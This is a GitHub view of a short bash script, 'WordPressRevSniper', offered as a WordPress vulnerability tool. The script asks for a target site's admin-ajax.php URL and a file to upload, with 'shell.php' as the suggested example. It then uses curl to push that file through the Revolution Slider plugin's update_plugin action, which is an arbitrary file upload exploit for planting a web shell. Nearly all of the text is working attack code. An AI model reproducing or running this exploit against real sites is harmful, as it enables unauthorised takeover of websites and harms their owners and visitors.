-
Notifications
You must be signed in to change notification settings - Fork 2
/
WordPressRevSniper.sh
73 lines (54 loc) · 1.76 KB
/
WordPressRevSniper.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/bin/bash
print_banner() {
local banner=(
"******************************************"
"* WordPressRevSniper *"
"* WordPress Vulnerability Tool *"
"* v1.2.1 *"
"* ---------------------------- *"
"* by @ImKKingshuk *"
"* Github- https://github.com/ImKKingshuk *"
"******************************************"
)
local width=$(tput cols)
for line in "${banner[@]}"; do
printf "%*s\n" $(((${#line} + width) / 2)) "$line"
done
echo
}
check_command() {
if ! command -v "$1" &> /dev/null; then
echo "Error: '$1' command not found. Please install $1 before running this script."
exit 1
fi
}
validate_file() {
if [ ! -f "$1" ]; then
echo "Error: File '$1' not found. Please provide a valid file."
exit 1
fi
}
upload_file() {
local url="$1"
local file_to_upload="$2"
local response=$(curl -s -F "action=revslider_ajax_action" \
-F "client_action=update_plugin" \
-F "update_file=@${file_to_upload}" \
"$url")
if [[ "$response" == *"error"* || "$response" == *"Error"* ]]; then
echo "Error: Something went wrong. Server response:"
echo "$response"
else
echo "Upload successful! Server response:"
echo "$response"
fi
}
main() {
print_banner
check_command "curl"
read -p "Enter the target URL (e.g., http://target_site/wp-admin/admin-ajax.php): " url
read -p "Enter the name of the file to upload (e.g., shell.php): " file_to_upload
validate_file "$file_to_upload"
upload_file "$url" "$file_to_upload"
}
main